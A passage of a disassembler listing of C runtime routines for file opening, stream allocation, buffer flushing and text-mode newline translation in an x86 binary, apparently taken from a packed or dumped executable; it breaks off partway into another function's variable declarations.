		jnz	short loc_429D7F
		mov	ecx, [ebp+var_4]
		add	ecx, 2
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	0Ah
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_429D9B
; ---------------------------------------------------------------------------


loc_429D7F:				; CODE XREF: sub_429A90+2D3j
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_429D9B:				; CODE XREF: sub_429A90+2EDj
		jmp	loc_429EC0
; ---------------------------------------------------------------------------


loc_429DA0:				; CODE XREF: sub_429A90+2C7j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], 0
		push	0
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		lea	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		mov	eax, [edx+ecx]
		push	eax
		nop
		call	near ptr 2850000h
		test	eax, eax
		jnz	short loc_429DE9
		nop
		call	near ptr 27B0F7Fh
		mov	[ebp+var_8], eax


loc_429DE9:				; CODE XREF: sub_429A90+34Ej
		cmp	[ebp+var_8], 0
		jnz	short loc_429DF5
		cmp	[ebp+var_10], 0
		jnz	short loc_429E09


loc_429DF5:				; CODE XREF: sub_429A90+35Dj
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0Dh
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx
		jmp	loc_429EC0
; ---------------------------------------------------------------------------


loc_429E09:				; CODE XREF: sub_429A90+363j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 48h
		test	eax, eax
		jz	short loc_429E73
		movsx	ecx, [ebp+var_1C]
		cmp	ecx, 0Ah
		jnz	short loc_429E45
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	0Ah
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_429E71
; ---------------------------------------------------------------------------


loc_429E45:				; CODE XREF: sub_429A90+3A2j
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0Dh
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		mov	al, [ebp+var_1C]
		mov	[edx+ecx+5], al


loc_429E71:				; CODE XREF: sub_429A90+3B3j
		jmp	short loc_429EC0
; ---------------------------------------------------------------------------


loc_429E73:				; CODE XREF: sub_429A90+399j
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+arg_4]
		jnz	short loc_429E95
		movsx	edx, [ebp+var_1C]
		cmp	edx, 0Ah
		jnz	short loc_429E95
		mov	eax, [ebp+var_C]
		mov	byte ptr [eax],	0Ah
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_429EC0
; ---------------------------------------------------------------------------


loc_429E95:				; CODE XREF: sub_429A90+3E9j
					; sub_429A90+3F2j
		push	1
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_430180
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		movsx	eax, [ebp+var_1C]
		cmp	eax, 0Ah
		jz	short loc_429EC0
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0Dh
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_429EC0:				; CODE XREF: sub_429A90+2B5j
					; sub_429A90:loc_429D9Bj ...
		jmp	loc_429CA6
; ---------------------------------------------------------------------------


loc_429EC5:				; CODE XREF: sub_429A90+21Fj
					; sub_429A90:loc_429D19j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+arg_4]
		mov	[ebp+var_18], eax


loc_429ECE:				; CODE XREF: sub_429A90+184j
		mov	eax, [ebp+var_18]


loc_429ED1:				; CODE XREF: sub_429A90+3Dj
					; sub_429A90+132j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_429A90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429EE0	proc near		; CODE XREF: sub_4212F0+DBp

var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_4E9430
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], 0
		mov	[ebp+var_10], 0


loc_429EFF:				; CODE XREF: sub_429EE0+47j
		cmp	[ebp+arg_0], 0
		jnz	short loc_429F23
		push	offset aFilenameNull ; "filename != NULL"
		push	0
		push	47h
		push	offset a_open_c	; "_open.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_429F23
		int	3		; Trap to Debugger


loc_429F23:				; CODE XREF: sub_429EE0+23j
					; sub_429EE0+40j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_429EFF


loc_429F29:				; CODE XREF: sub_429EE0+71j
		cmp	[ebp+arg_4], 0
		jnz	short loc_429F4D
		push	offset aModeNull ; "mode != NULL"
		push	0
		push	48h
		push	offset a_open_c	; "_open.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_429F4D
		int	3		; Trap to Debugger


loc_429F4D:				; CODE XREF: sub_429EE0+4Dj
					; sub_429EE0+6Aj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_429F29


loc_429F53:				; CODE XREF: sub_429EE0+9Bj
		cmp	[ebp+arg_C], 0
		jnz	short loc_429F77
		push	offset dword_43E4A4
		push	0
		push	49h
		push	offset a_open_c	; "_open.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_429F77
		int	3		; Trap to Debugger


loc_429F77:				; CODE XREF: sub_429EE0+77j
					; sub_429EE0+94j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_429F53
		mov	ecx, [ebp+arg_4]
		mov	dl, [ecx]
		mov	[ebp+var_20], dl
		cmp	[ebp+var_20], 61h
		jz	short loc_429FBC
		cmp	[ebp+var_20], 72h
		jz	short loc_429F99
		cmp	[ebp+var_20], 77h
		jz	short loc_429FAA
		jmp	short loc_429FCE
; ---------------------------------------------------------------------------


loc_429F99:				; CODE XREF: sub_429EE0+AFj
		mov	[ebp+var_14], 0
		mov	eax, [ebp+var_1C]
		or	al, 1
		mov	[ebp+var_1C], eax
		jmp	short loc_429FD5
; ---------------------------------------------------------------------------


loc_429FAA:				; CODE XREF: sub_429EE0+B5j
		mov	[ebp+var_14], 301h
		mov	ecx, [ebp+var_1C]
		or	ecx, 2
		mov	[ebp+var_1C], ecx
		jmp	short loc_429FD5
; ---------------------------------------------------------------------------


loc_429FBC:				; CODE XREF: sub_429EE0+A9j
		mov	[ebp+var_14], 109h
		mov	edx, [ebp+var_1C]
		or	edx, 2
		mov	[ebp+var_1C], edx
		jmp	short loc_429FD5
; ---------------------------------------------------------------------------


loc_429FCE:				; CODE XREF: sub_429EE0+B7j
		xor	eax, eax
		jmp	loc_42A1F6
; ---------------------------------------------------------------------------


loc_429FD5:				; CODE XREF: sub_429EE0+C8j
					; sub_429EE0+DAj ...
		mov	[ebp+var_4], 1


loc_429FDC:				; CODE XREF: sub_429EE0:loc_42A17Aj
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	loc_42A17F
		cmp	[ebp+var_4], 0
		jz	loc_42A17F
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_24]
		sub	edx, 2Bh
		mov	[ebp+var_24], edx
		cmp	[ebp+var_24], 49h
		ja	loc_42A173
		mov	ecx, [ebp+var_24]
		xor	eax, eax
		mov	al, byte_42A225[ecx]
		jmp	off_42A1FD[eax*4]


loc_42A02B:				; DATA XREF: .XComp0:off_42A1FDo
		mov	edx, [ebp+var_14]
		and	edx, 2
		test	edx, edx
		jz	short loc_42A03E
		mov	[ebp+var_4], 0
		jmp	short loc_42A060
; ---------------------------------------------------------------------------


loc_42A03E:				; CODE XREF: sub_429EE0+153j
		mov	eax, [ebp+var_14]
		or	al, 2
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		and	ecx, 0FFFFFFFEh
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_1C]
		or	dl, 80h
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		and	al, 0FCh
		mov	[ebp+var_1C], eax


loc_42A060:				; CODE XREF: sub_429EE0+15Cj
		jmp	loc_42A17A
; ---------------------------------------------------------------------------


loc_42A065:				; CODE XREF: sub_429EE0+144j
					; DATA XREF: .XComp0:0042A211o
		mov	ecx, [ebp+var_14]
		and	ecx, 0C000h
		test	ecx, ecx
		jz	short loc_42A07B
		mov	[ebp+var_4], 0
		jmp	short loc_42A084
; ---------------------------------------------------------------------------


loc_42A07B:				; CODE XREF: sub_429EE0+190j
		mov	edx, [ebp+var_14]
		or	dh, 80h
		mov	[ebp+var_14], edx


loc_42A084:				; CODE XREF: sub_429EE0+199j
		jmp	loc_42A17A
; ---------------------------------------------------------------------------


loc_42A089:				; CODE XREF: sub_429EE0+144j
					; DATA XREF: .XComp0:0042A21Do
		mov	eax, [ebp+var_14]
		and	eax, 0C000h
		test	eax, eax
		jz	short loc_42A09E
		mov	[ebp+var_4], 0
		jmp	short loc_42A0A7
; ---------------------------------------------------------------------------


loc_42A09E:				; CODE XREF: sub_429EE0+1B3j
		mov	ecx, [ebp+var_14]
		or	ch, 40h
		mov	[ebp+var_14], ecx


loc_42A0A7:				; CODE XREF: sub_429EE0+1BCj
		jmp	loc_42A17A
; ---------------------------------------------------------------------------


loc_42A0AC:				; CODE XREF: sub_429EE0+144j
					; DATA XREF: .XComp0:0042A215o
		cmp	[ebp+var_18], 0
		jz	short loc_42A0BB
		mov	[ebp+var_4], 0
		jmp	short loc_42A0CB
; ---------------------------------------------------------------------------


loc_42A0BB:				; CODE XREF: sub_429EE0+1D0j
		mov	[ebp+var_18], 1
		mov	edx, [ebp+var_1C]
		or	dh, 40h
		mov	[ebp+var_1C], edx


loc_42A0CB:				; CODE XREF: sub_429EE0+1D9j
		jmp	loc_42A17A
; ---------------------------------------------------------------------------


loc_42A0D0:				; CODE XREF: sub_429EE0+144j
					; DATA XREF: .XComp0:0042A219o
		cmp	[ebp+var_18], 0
		jz	short loc_42A0DF
		mov	[ebp+var_4], 0
		jmp	short loc_42A0EF
; ---------------------------------------------------------------------------


loc_42A0DF:				; CODE XREF: sub_429EE0+1F4j
		mov	[ebp+var_18], 1
		mov	eax, [ebp+var_1C]
		and	ah, 0BFh
		mov	[ebp+var_1C], eax


loc_42A0EF:				; CODE XREF: sub_429EE0+1FDj
		jmp	loc_42A17A
; ---------------------------------------------------------------------------


loc_42A0F4:				; CODE XREF: sub_429EE0+144j
					; DATA XREF: .XComp0:0042A209o
		cmp	[ebp+var_10], 0
		jz	short loc_42A103
		mov	[ebp+var_4], 0
		jmp	short loc_42A113
; ---------------------------------------------------------------------------


loc_42A103:				; CODE XREF: sub_429EE0+218j
		mov	[ebp+var_10], 1
		mov	ecx, [ebp+var_14]
		or	ecx, 20h
		mov	[ebp+var_14], ecx


loc_42A113:				; CODE XREF: sub_429EE0+221j
		jmp	short loc_42A17A
; ---------------------------------------------------------------------------


loc_42A115:				; CODE XREF: sub_429EE0+144j
					; DATA XREF: .XComp0:0042A205o
		cmp	[ebp+var_10], 0
		jz	short loc_42A124
		mov	[ebp+var_4], 0
		jmp	short loc_42A134
; ---------------------------------------------------------------------------


loc_42A124:				; CODE XREF: sub_429EE0+239j
		mov	[ebp+var_10], 1
		mov	edx, [ebp+var_14]
		or	edx, 10h
		mov	[ebp+var_14], edx


loc_42A134:				; CODE XREF: sub_429EE0+242j
		jmp	short loc_42A17A
; ---------------------------------------------------------------------------


loc_42A136:				; CODE XREF: sub_429EE0+144j
					; DATA XREF: .XComp0:0042A20Do
		mov	eax, [ebp+var_14]
		and	eax, 1000h
		test	eax, eax
		jz	short loc_42A14B
		mov	[ebp+var_4], 0
		jmp	short loc_42A154
; ---------------------------------------------------------------------------


loc_42A14B:				; CODE XREF: sub_429EE0+260j
		mov	ecx, [ebp+var_14]
		or	ch, 10h
		mov	[ebp+var_14], ecx


loc_42A154:				; CODE XREF: sub_429EE0+269j
		jmp	short loc_42A17A
; ---------------------------------------------------------------------------


loc_42A156:				; CODE XREF: sub_429EE0+144j
					; DATA XREF: .XComp0:0042A201o
		mov	edx, [ebp+var_14]
		and	edx, 40h
		test	edx, edx
		jz	short loc_42A169
		mov	[ebp+var_4], 0
		jmp	short loc_42A171
; ---------------------------------------------------------------------------


loc_42A169:				; CODE XREF: sub_429EE0+27Ej
		mov	eax, [ebp+var_14]
		or	al, 40h
		mov	[ebp+var_14], eax


loc_42A171:				; CODE XREF: sub_429EE0+287j
		jmp	short loc_42A17A
; ---------------------------------------------------------------------------


loc_42A173:				; CODE XREF: sub_429EE0+133j
					; sub_429EE0+144j
					; DATA XREF: ...
		mov	[ebp+var_4], 0


loc_42A17A:				; CODE XREF: sub_429EE0:loc_42A060j
					; sub_429EE0:loc_42A084j ...
		jmp	loc_429FDC
; ---------------------------------------------------------------------------


loc_42A17F:				; CODE XREF: sub_429EE0+10Dj
					; sub_429EE0+117j
		push	1A4h
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_433B40
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jge	short loc_42A1A5
		xor	eax, eax
		jmp	short loc_42A1F6
; ---------------------------------------------------------------------------


loc_42A1A5:				; CODE XREF: sub_429EE0+2BFj
		mov	ecx, dword_4E9250
		add	ecx, 1
		mov	dword_4E9250, ecx
		mov	edx, [ebp+arg_C]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_1C]
		mov	[eax+0Ch], ecx
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+4], 0
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_C]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+1Ch], 0
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax+10h], ecx
		mov	eax, [ebp+var_C]


loc_42A1F6:				; CODE XREF: sub_429EE0+F0j
					; sub_429EE0+2C3j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_429EE0	endp

; ---------------------------------------------------------------------------
off_42A1FD	dd offset loc_42A02B	; DATA XREF: sub_429EE0+144r
		dd offset loc_42A156
		dd offset loc_42A115
		dd offset loc_42A0F4
		dd offset loc_42A136
		dd offset loc_42A065
		dd offset loc_42A0AC
		dd offset loc_42A0D0
		dd offset loc_42A089
		dd offset loc_42A173
byte_42A225	db 0			; DATA XREF: sub_429EE0+13Er
		dw 909h
		dd 5 dup(9090909h), 9010909h, 3	dup(9090909h), 9040302h
		dd 3 dup(9090909h), 9090605h, 2	dup(9090909h), 9090907h
		dd 0CC080909h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A270	proc near		; CODE XREF: sub_4212F0+B9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		push	2
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 0
		jmp	short loc_42A299
; ---------------------------------------------------------------------------


loc_42A290:				; CODE XREF: sub_42A270+A8j
					; sub_42A270:loc_42A399j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42A299:				; CODE XREF: sub_42A270+1Ej
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4EA900
		jge	loc_42A39E
		mov	edx, [ebp+var_4]
		mov	eax, dword_4E98F4
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_42A32F
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4E98F4
		mov	eax, [edx+ecx*4]
		mov	ecx, [eax+0Ch]
		and	ecx, 83h
		test	ecx, ecx
		jnz	short loc_42A32D
		mov	edx, [ebp+var_4]
		mov	eax, dword_4E98F4
		mov	ecx, [eax+edx*4]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_424B70
		add	esp, 8
		mov	eax, [ebp+var_4]
		mov	ecx, dword_4E98F4
		mov	edx, [ecx+eax*4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_42A31D
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4E98F4
		mov	eax, [edx+ecx*4]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_424BE0
		add	esp, 8
		jmp	loc_42A290
; ---------------------------------------------------------------------------


loc_42A31D:				; CODE XREF: sub_42A270+8Dj
		mov	edx, [ebp+var_4]
		mov	eax, dword_4E98F4
		mov	ecx, [eax+edx*4]
		mov	[ebp+var_8], ecx
		jmp	short loc_42A39E
; ---------------------------------------------------------------------------


loc_42A32D:				; CODE XREF: sub_42A270+5Dj
		jmp	short loc_42A399
; ---------------------------------------------------------------------------


loc_42A32F:				; CODE XREF: sub_42A270+44j
		push	55h
		push	offset aStream_c ; "stream.c"
		push	2
		push	38h
		call	sub_41EDD0
		add	esp, 10h
		mov	edx, [ebp+var_4]
		mov	ecx, dword_4E98F4
		mov	[ecx+edx*4], eax
		mov	edx, [ebp+var_4]
		mov	eax, dword_4E98F4
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_42A397
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4E98F4
		mov	eax, [edx+ecx*4]
		add	eax, 20h
		push	eax
		call	near ptr 2970537h
		nop
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4E98F4
		mov	eax, [edx+ecx*4]
		add	eax, 20h
		push	eax
		nop
		call	near ptr 7C901005h
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4E98F4
		mov	eax, [edx+ecx*4]
		mov	[ebp+var_8], eax


loc_42A397:				; CODE XREF: sub_42A270+EAj
		jmp	short loc_42A39E
; ---------------------------------------------------------------------------


loc_42A399:				; CODE XREF: sub_42A270:loc_42A32Dj
		jmp	loc_42A290
; ---------------------------------------------------------------------------


loc_42A39E:				; CODE XREF: sub_42A270+32j
					; sub_42A270+BBj ...
		cmp	[ebp+var_8], 0
		jz	short loc_42A3DF
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+0Ch], 0
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+1Ch], 0
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+10h], 0FFFFFFFFh


loc_42A3DF:				; CODE XREF: sub_42A270+132j
		push	2
		call	sub_425A30
		add	esp, 4
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42A270	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A3F0	proc near		; CODE XREF: .XComp0:0042176Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_42A409
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_42A409:				; CODE XREF: sub_42A3F0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_42A3F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A430	proc near		; CODE XREF: sub_4219C0+E5p
					; sub_421B90+E4p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi


loc_42A439:				; CODE XREF: sub_42A430+31j
		cmp	[ebp+arg_4], 0
		jnz	short loc_42A45D
		push	offset dword_43E4A4
		push	0
		push	69h
		push	offset a_flsbuf_c ; "_flsbuf.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42A45D
		int	3		; Trap to Debugger


loc_42A45D:				; CODE XREF: sub_42A430+Dj
					; sub_42A430+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42A439
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 82h
		test	edx, edx
		jz	short loc_42A48F
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 40h
		test	ecx, ecx
		jz	short loc_42A4A5


loc_42A48F:				; CODE XREF: sub_42A430+50j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		or	al, 20h
		mov	ecx, [ebp+var_8]
		mov	[ecx+0Ch], eax
		or	eax, 0FFFFFFFFh
		jmp	loc_42A69D
; ---------------------------------------------------------------------------


loc_42A4A5:				; CODE XREF: sub_42A430+5Dj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		and	eax, 1
		test	eax, eax
		jz	short loc_42A4FC
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		and	eax, 10h
		test	eax, eax
		jz	short loc_42A4E5
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		mov	[ecx], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFFFEh
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		jmp	short loc_42A4FC
; ---------------------------------------------------------------------------


loc_42A4E5:				; CODE XREF: sub_42A430+97j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		or	eax, 0FFFFFFFFh
		jmp	loc_42A69D
; ---------------------------------------------------------------------------


loc_42A4FC:				; CODE XREF: sub_42A430+80j
					; sub_42A430+B3j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		or	edx, 2
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFFEFh
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	[ebp+var_4], 0
		mov	edx, [ebp+var_4]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 10Ch
		test	ecx, ecx
		jnz	short loc_42A56F
		cmp	[ebp+var_8], offset dword_44FF68
		jz	short loc_42A553
		cmp	[ebp+var_8], offset dword_44FF88
		jnz	short loc_42A563


loc_42A553:				; CODE XREF: sub_42A430+118j
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_4340A0
		add	esp, 4
		test	eax, eax
		jnz	short loc_42A56F


loc_42A563:				; CODE XREF: sub_42A430+121j
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_433A30
		add	esp, 4


loc_42A56F:				; CODE XREF: sub_42A430+10Fj
					; sub_42A430+131j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 108h
		test	edx, edx
		jz	loc_42A65B


loc_42A583:				; CODE XREF: sub_42A430+187j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		mov	edx, [eax]
		sub	edx, [ecx+8]
		test	edx, edx
		jge	short loc_42A5B3
		push	offset aInconsistentIo ; "(\"inconsistent IOB fields\",	stream->_pt"...
		push	0
		push	0A0h
		push	offset a_flsbuf_c ; "_flsbuf.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42A5B3
		int	3		; Trap to Debugger


loc_42A5B3:				; CODE XREF: sub_42A430+160j
					; sub_42A430+180j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42A583
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [ecx]
		sub	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+var_8]
		mov	[eax], edx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+18h]
		sub	edx, 1
		mov	eax, [ebp+var_8]
		mov	[eax+4], edx
		cmp	[ebp+var_4], 0
		jle	short loc_42A606
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_430550
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		jmp	short loc_42A64E
; ---------------------------------------------------------------------------


loc_42A606:				; CODE XREF: sub_42A430+1B8j
		cmp	[ebp+var_10], 0FFFFFFFFh
		jz	short loc_42A629
		mov	edx, [ebp+var_10]
		sar	edx, 5
		mov	eax, [ebp+var_10]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4E95A0[edx*4]
		add	ecx, eax
		mov	[ebp+var_14], ecx
		jmp	short loc_42A630
; ---------------------------------------------------------------------------


loc_42A629:				; CODE XREF: sub_42A430+1DAj
		mov	[ebp+var_14], offset dword_452AA0


loc_42A630:				; CODE XREF: sub_42A430+1F7j
		mov	edx, [ebp+var_14]
		movsx	eax, byte ptr [edx+4]
		and	eax, 20h
		test	eax, eax
		jz	short loc_42A64E
		push	2
		push	0
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_4300F0
		add	esp, 0Ch


loc_42A64E:				; CODE XREF: sub_42A430+1D4j
					; sub_42A430+20Cj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_42A679
; ---------------------------------------------------------------------------


loc_42A65B:				; CODE XREF: sub_42A430+14Dj
		mov	[ebp+var_4], 1
		mov	edx, [ebp+var_4]
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_430550
		add	esp, 0Ch
		mov	[ebp+var_C], eax


loc_42A679:				; CODE XREF: sub_42A430+229j
		mov	edx, [ebp+var_C]
		cmp	edx, [ebp+var_4]
		jz	short loc_42A695
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		or	ecx, 20h
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_42A69D
; ---------------------------------------------------------------------------


loc_42A695:				; CODE XREF: sub_42A430+24Fj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh


loc_42A69D:				; CODE XREF: sub_42A430+70j
					; sub_42A430+C7j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42A430	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A6B0	proc near		; CODE XREF: sub_4219C0+9Ap
					; sub_421B90+99p ...

var_2A6		= word ptr -2A6h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= byte ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
